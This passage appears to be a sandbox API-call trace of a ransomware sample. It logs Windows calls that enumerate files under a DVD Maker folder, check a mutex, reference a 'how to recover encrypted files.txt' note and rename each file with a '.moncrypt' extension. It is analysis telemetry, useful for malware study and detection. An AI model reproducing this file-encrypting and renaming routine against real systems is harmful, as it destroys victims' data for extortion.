lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.649] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png", cchWideChar=57, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png", lpUsedDefaultChar=0x0) returned 57 [0057.649] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.649] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Full\\full.png", lpUsedDefaultChar=0x0) returned 4 [0057.649] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f12724e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f12724e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6794, dwReserved0=0x0, dwReserved1=0x0, cFileName="full.png", cAlternateFileName="")) returned 0x54e280 [0057.649] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.649] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.649] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.649] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png", dwFileAttributes=0x20) returned 0 [0057.650] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.650] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\full.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\full.png.moncrypt")) returned 0 [0057.651] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1bf7c2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1bf7c2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0057.651] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.651] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.651] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.651] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.651] GlobalUnlock (hMem=0x44000c) returned 0 [0057.651] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.651] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.651] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.651] GlobalUnlock (hMem=0x44000c) returned 0 [0057.651] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.651] GlobalUnlock (hMem=0x440004) returned 0 [0057.651] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.651] CharLowerBuffW (in: lpsz="NavigationLeft_ButtonGraphic.png", cchLength=0x20 | out: lpsz="navigationleft_buttongraphic.png") returned 0x20 [0057.651] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.651] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.651] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.651] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.651] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.651] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.651] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.651] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.651] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.651] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.651] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.651] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.652] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png", cchWideChar=81, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 81 [0057.652] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Full\\NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 4 [0057.652] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1bf7c2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1bf7c2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 0x54e280 [0057.653] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.653] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.653] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.653] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png", dwFileAttributes=0x20) returned 0 [0057.654] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.654] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_buttongraphic.png.moncrypt")) returned 0 [0057.654] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1bf7c2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1bf7c2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0057.654] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.654] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.654] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.654] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.654] GlobalUnlock (hMem=0x440004) returned 0 [0057.654] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.654] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.654] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.654] GlobalUnlock (hMem=0x440004) returned 0 [0057.654] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.654] GlobalUnlock (hMem=0x44000c) returned 0 [0057.654] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.655] CharLowerBuffW (in: lpsz="NavigationLeft_SelectionSubpicture.png", cchLength=0x26 | out: lpsz="navigationleft_selectionsubpicture.png") returned 0x26 [0057.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.656] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", 